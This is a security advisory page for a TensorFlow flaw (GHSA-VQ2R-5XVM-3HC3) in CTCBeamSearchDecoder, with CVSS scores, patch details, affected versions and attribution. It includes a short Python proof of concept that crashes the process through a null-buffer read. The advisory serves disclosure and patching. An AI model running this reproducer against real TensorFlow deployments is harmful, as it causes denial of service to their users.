Lucene search

K
githubGitHub Advisory DatabaseGHSA-VQ2R-5XVM-3HC3
HistoryMay 21, 2021 - 2:26 p.m.

Segfault in `CTCBeamSearchDecoder`

2021-05-2114:26:30
CWE-908
GitHub Advisory Database
github.com
27
tensorflow
ctcbeamsearchdecoder
denial of service
segmentation fault
patch
github
commit
security guide
vulnerability
baidu x-team

CVSS2

2.1

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:N/I:N/A:P

CVSS3

5.5

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

EPSS

0

Percentile

12.8%

Impact

Due to lack of validation in tf.raw_ops.CTCBeamSearchDecoder, an attacker can trigger denial of service via segmentation faults:

import tensorflow as tf

inputs = tf.constant([], shape=[18, 8, 0], dtype=tf.float32)
sequence_length = tf.constant([11, -43, -92, 11, -89, -83, -35, -100],
shape=[8], dtype=tf.int32)
beam_width = 10
top_paths = 3
merge_repeated = True

tf.raw_ops.CTCBeamSearchDecoder(
  inputs=inputs, sequence_length=sequence_length, beam_width=beam_width,
  top_paths=top_paths, merge_repeated=merge_repeated)

The implementation fails to detect cases when the input tensor is empty and proceeds to read data from a null buffer.

Patches

We have patched the issue in GitHub commit b1b323042264740c398140da32e93fb9c2c9f33e.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Affected configurations

Vulners
Node
tensorflowgpuRange<2.4.2
OR
tensorflowgpuRange<2.3.3
OR
tensorflowgpuRange<2.2.3
OR
tensorflowgpuRange<2.1.4
OR
tensorflowcpuRange<2.4.2
OR
tensorflowcpuRange<2.3.3
OR
tensorflowcpuRange<2.2.3
OR
tensorflowcpuRange<2.1.4
OR
tensorflowtensorflowRange<2.4.2
OR
tensorflowtensorflowRange<2.3.3
OR
tensorflowtensorflowRange<2.2.3
OR
tensorflowtensorflowRange<2.1.4
VendorProductVersionCPE
tensorflowgpu*cpe:2.3:a:tensorflow:gpu:*:*:*:*:*:*:*:*
tensorflowcpu*cpe:2.3:a:tensorflow:cpu:*:*:*:*:*:*:*:*
tensorflowtensorflow*cpe:2.3:a:tensorflow:tensorflow:*:*:*:*:*:*:*:*

CVSS2

2.1

Attack Vector

LOCAL

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:N/I:N/A:P

CVSS3

5.5

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

EPSS

0

Percentile

12.8%

Related for GHSA-VQ2R-5XVM-3HC3